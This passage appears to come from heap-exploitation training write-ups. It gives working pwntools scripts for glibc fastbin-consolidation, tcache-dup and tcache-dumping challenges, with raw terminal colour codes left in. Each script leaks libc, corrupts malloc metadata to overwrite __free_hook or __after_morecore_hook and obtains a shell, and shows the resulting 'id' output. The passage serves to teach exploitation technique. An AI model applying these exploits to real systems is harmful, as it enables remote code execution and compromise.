[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"data: "[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mmalloc[0m[1m[36m.[0m[1m[37mindex[0m[1m[37m [0m[1m[36m+=[0m[1m[37m [0m[1m[36m1[0m[1m[37m[0m
[1m[37m [0m[33mreturn[0m[1m[37m [0m[1m[37mmalloc[0m[1m[36m.[0m[1m[37mindex[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[36m1[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[36m.[0m[1m[37mindex[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mfree[0m[1m[37m([0m[1m[37mindex[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"2"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"index: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37mindex[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37medit_age[0m[1m[37m([0m[1m[37mdata[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"3"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"age: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37mdata[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mremote[0m[1m[37m([0m[33m"localhost"[0m[1m[37m,[0m[1m[37m [0m[1m[36m1337[0m[1m[37m)[0m[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mtimeout[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m150[0m[1m[37m[0m
[1m[37m[0m
[1m[37mfastbin_consolidation_threshold[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0x10000[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"puts() @ "[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[36m.[0m[1m[37maddress[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37mint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m(),[0m[1m[37m [0m[1m[36m16[0m[1m[37m)[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37mputs[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"Enter your age: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[36m0[0m[1m[37m [0m[1m[36m|[0m[1m[37m [0m[1m[36m0b1[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mchunk_A[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x80000[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"A"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[37mchunk_A[0m[1m[37m)[0m[1m[37m [0m[33m# increase mmap_threshold[0m[1m[37m[0m
[1m[37mchunk_B[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x80000[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"B"[0m[1m[37m)[0m[1m[37m [0m[33m# increase main_arena.system_mem[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[37mchunk_B[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mchunk_C[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"C"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mchunk_D[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"D"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mchunk_E[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mmalloc[0m[1m[37m([0m[1m[37mfastbin_consolidation_threshold[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"E"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[37mchunk_C[0m[1m[37m)[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[37mchunk_D[0m[1m[37m)[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[37mchunk_C[0m[1m[37m)[0m[1m[37m[0m
[1m[37mchunk_F[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37melf[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37muser[0m[1m[37m))[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[37mchunk_E[0m[1m[37m)[0m[1m[37m [0m[33m# consolidate fastbins[0m[1m[37m[0m
[1m[37m[0m
[1m[37medit_age[0m[1m[37m([0m[1m[36m0x80000[0m[1m[37m [0m[1m[36m|[0m[1m[37m [0m[1m[36m0b1[0m[1m[37m)[0m[1m[37m[0m
[1m[37mchunk_G[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x80010[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"G"[0m[1m[37m)[0m[1m[37m [0m[33m# sort bin[126][0m[1m[37m[0m
[1m[37mfree_hook_offset[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37m__free_hook[0m[1m[36m-[0m[1m[36m0x20[0m[1m[37m)[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[37melf[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37muser[0m[1m[37m[0m
[1m[37medit_age[0m[1m[37m(([0m[1m[37mfree_hook_offset[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[36m0x98[0m[1m[37m)[0m[1m[37m [0m[1m[36m|[0m[1m[37m [0m[1m[36m0b1[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mchunk_H[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mmalloc[0m[1m[37m([0m[1m[37mfree_hook_offset[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"/bin/sh[0m[33m\x00[0m[33m"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x90[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37msystem[0m[1m[37m))[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[37mchunk_H[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37msendline[0m[1m[37m([0m[33mb[0m[33m"id"[0m[1m[37m)[0m[1m[37m[0m
[37mprint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m())[0m[1m[37m[0m
[1m[37mb'uid=1000(pwny) gid=100(users) groups=100(users),1(wheel)\n'[0m
==== [1m[4mNo fastbins[22m[24m
This is the same challenge, except we can no longer request fastbin
sized chunks.
I initially tried setting the size of the fake chunk such that when
it was remaindered, the remaindered chunk's size field would
overlap with [40m[35m`__free_hook`[39m[49m and be set to
[40m[35m`libc.sym.system`[39m[49m.
However, although [40m[35m`__free_hook`[39m[49m can be
overwritten this way, the program will segfault immediately
afterwards when it tries to access a value just past the
remaindered chunk.
[33m# ...[0m[1m[37m[0m
[1m[37m[0m
[33m# step 6: allocate a chunk large enough that remaindering it will overwrite the __free_hook with a target value[0m[1m[37m[0m
[1m[37mfree_hook_offset[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37m__free_hook[0m[1m[36m-[0m[1m[36m0x10[0m[1m[37m)[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[37melf[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37muser[0m[1m[37m[0m
[1m[37medit_age[0m[1m[37m([0m[1m[37mfree_hook_offset[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37mdo_system[0m[1m[36m+[0m[1m[36m1[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[36m0x7[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mchunk_M[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mmalloc[0m[1m[37m([0m[1m[37mfree_hook_offset[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"/bin/sh[0m[33m\x00[0m[33m"[0m[1m[37m)[0m[1m[37m [0m[33m# __free_hook = size of remaindered chunk[0m[1m[37m[0m
[33m# CRASH! (ノ°益°)ノ[0m[1m[37m[0m
[1m[37m[0m
[33m# free(chunk_M)[0m[1m[37m[0m
[33m# proc.sendline(b"id")[0m[1m[37m[0m
[33m# print(proc.recvline())[0m[1m[37m[0m
Instead I targeted [40m[35m`__after_morecore_hook`[39m[49m,
which thankfully satisfies the conditions for a one_gadget.
[33m# ...[0m[1m[37m[0m
[1m[37m[0m
[33m# step 6: allocate a chunk large enough such that remaindering it will create a free chunk overlapping __after_morecore_hook[0m[1m[37m[0m
[1m[37mafter_morecore_offset[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37m__after_morecore_hook[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[36m0x20[0m[1m[37m)[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[37melf[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37muser[0m[1m[37m[0m
[1m[37medit_age[0m[1m[37m(([0m[1m[37mafter_morecore_offset[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[36m0xa0[0m[1m[37m)[0m[1m[37m [0m[1m[36m|[0m[1m[37m [0m[1m[36m0b1[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[37mafter_morecore_offset[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"M"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mone_gadget[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37maddress[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[36m0x3ff5e[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x90[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37mone_gadget[0m[1m[37m))[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mtimeout[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0.5[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x60010[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m""[0m[1m[37m)[0m[1m[37m [0m[33m# trigger __after_morecore_hook[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37msendline[0m[1m[37m([0m[33mb[0m[33m"id"[0m[1m[37m)[0m[1m[37m[0m
[37mprint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m())[0m[1m[37m[0m
[1m[37mb'uid=1000(pwny) gid=100(users) groups=100(users),1(wheel)\n'[0m
== [1m[4mTcache dup[22m[24m
[3mFrom this point on, glibc ≷ 2.26 will be compiled with tcache
enabled[23m
This is essentially the same as the fastbin dup, except even easier
as [40m[35m`free`[39m[49m doesn't check if the chunk being
freed is already at the head of the tcachebin, and there are
absolutely no sanity checks on what constitutes a valid fake chunk.
=== [1m[4mSolve[22m[24m
[33mfrom[0m[1m[37m [0m[1m[37mpwn[0m[1m[37m [0m[33mimport[0m[1m[37m [0m[1m[36m*[0m[1m[37m[0m
[1m[37m[0m
[1m[37mcontext[0m[1m[36m.[0m[1m[37mlog_level[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33m'warning'[0m[1m[37m[0m
[1m[37m[0m
[1m[37melf[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mcontext[0m[1m[36m.[0m[1m[37mbinary[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[33m"tcache_dup"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[1m[37melf[0m[1m[36m.[0m[1m[37mrunpath[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[33mb[0m[33m"/libc.so.6"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mmalloc[0m[1m[37m([0m[1m[37msize[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"1"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"size: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37msize[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"data: "[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mmalloc[0m[1m[36m.[0m[1m[37mindex[0m[1m[37m [0m[1m[36m+=[0m[1m[37m [0m[1m[36m1[0m[1m[37m[0m
[1m[37m [0m[33mreturn[0m[1m[37m [0m[1m[37mmalloc[0m[1m[36m.[0m[1m[37mindex[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[36m1[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[36m.[0m[1m[37mindex[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mfree[0m[1m[37m([0m[1m[37mindex[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"2"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"index: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37mindex[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mremote[0m[1m[37m([0m[33m"localhost"[0m[1m[37m,[0m[1m[37m [0m[1m[36m1337[0m[1m[37m)[0m[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mtimeout[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0.5[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"puts() @ "[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[36m.[0m[1m[37maddress[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37mint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m(),[0m[1m[37m [0m[1m[36m16[0m[1m[37m)[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37mputs[0m[1m[37m[0m
[1m[37m[0m
[1m[37mchunk_A[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"A"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[37mchunk_A[0m[1m[37m)[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[37mchunk_A[0m[1m[37m)[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37m__free_hook[0m[1m[37m))[0m[1m[37m[0m
[1m[37mchunk_C[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"/bin/sh[0m[33m\x00[0m[33m"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37msystem[0m[1m[37m))[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[37mchunk_C[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37msendline[0m[1m[37m([0m[33mb[0m[33m"id"[0m[1m[37m)[0m[1m[37m[0m
[37mprint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m())[0m[1m[37m[0m
[1m[37mb'uid=1000(pwny) gid=100(users) groups=100(users),1(wheel)\n'[0m
== [1m[4mTcache dumping[22m[24m
When servicing a request from a fastbin, malloc will attempt to
move as many remaining chunks in that fastbin that will fit into
the corresponding tcachebin.
=== [1m[4mSolve[22m[24m
There's now a check in [40m[35m`free`[39m[49m that ensures a
chunk being freed isn't already in the target tcachebin, so we
can't just do a simple tcache dup.
However, chunks that are dumped from a fastbin to a tcachebin are
not subject to this check, so if we can corrupt a fastbin
[40m[35m`fd`[39m[49m we should be in good shape.
[33mfrom[0m[1m[37m [0m[1m[37mpwn[0m[1m[37m [0m[33mimport[0m[1m[37m [0m[1m[36m*[0m[1m[37m[0m
[1m[37m[0m
[1m[37mcontext[0m[1m[36m.[0m[1m[37mlog_level[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33m'warning'[0m[1m[37m[0m
[1m[37m[0m
[1m[37melf[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mcontext[0m[1m[36m.[0m[1m[37mbinary[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[33m"tcache_dup_2.31"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[1m[37melf[0m[1m[36m.[0m[1m[37mrunpath[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[33mb[0m[33m"/libc.so.6"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mmalloc[0m[1m[37m([0m[1m[37msize[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"1"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"size: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37msize[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"data: "[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mmalloc[0m[1m[36m.[0m[1m[37mindex[0m[1m[37m [0m[1m[36m+=[0m[1m[37m [0m[1m[36m1[0m[1m[37m[0m
[1m[37m [0m[33mreturn[0m[1m[37m [0m[1m[37mmalloc[0m[1m[36m.[0m[1m[37mindex[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[36m1[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[36m.[0m[1m[37mindex[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mfree[0m[1m[37m([0m[1m[37mindex[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"2"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"index: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37mindex[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mremote[0m[1m[37m([0m[33m"localhost"[0m[1m[37m,[0m[1m[37m [0m[1m[36m1337[0m[1m[37m)[0m[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mtimeout[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0.5[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"puts() @ "[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[36m.[0m[1m[37maddress[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37mint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m(),[0m[1m[37m [0m[1m[36m16[0m[1m[37m)[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37mputs[0m[1m[37m[0m
[1m[37m[0m
[33m# fill tcache[0m[1m[37m[0m
[33mfor[0m[1m[37m [0m[1m[37mi[0m[1m[37m [0m[1m[36min[0m[1m[37m [0m[37mrange[0m[1m[37m([0m[1m[36m7[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[37mchr[0m[1m[37m([0m[37mord[0m[1m[37m([0m[33m'A'[0m[1m[37m)[0m[1m[36m+[0m[1m[37mi[0m[1m[37m)[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37mchunk_H[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"H"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mfor[0m[1m[37m [0m[1m[37mi[0m[1m[37m [0m[1m[36min[0m[1m[37m [0m[37mrange[0m[1m[37m([0m[1m[36m7[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mfree[0m[1m[37m([0m[1m[37mi[0m[1m[37m)[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[37mchunk_H[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x20 fastbin: [chunk H][0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"I"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[37mchunk_H[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x20 tcachebin: [chunk H] -> ...[0m[1m[37m[0m
[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37m__free_hook[0m[1m[36m-[0m[1m[36m0x10[0m[1m[37m))[0m[1m[37m[0m
[33m# 0x20 fastbin: [chunk H] -> &__free_hook[0m[1m[37m[0m
[33mfor[0m[1m[37m [0m[1m[37mi[0m[1m[37m [0m[1m[36min[0m[1m[37m [0m[37mrange[0m[1m[37m([0m[1m[36m6[0m[1m[37m):[0m[1m[37m[0m
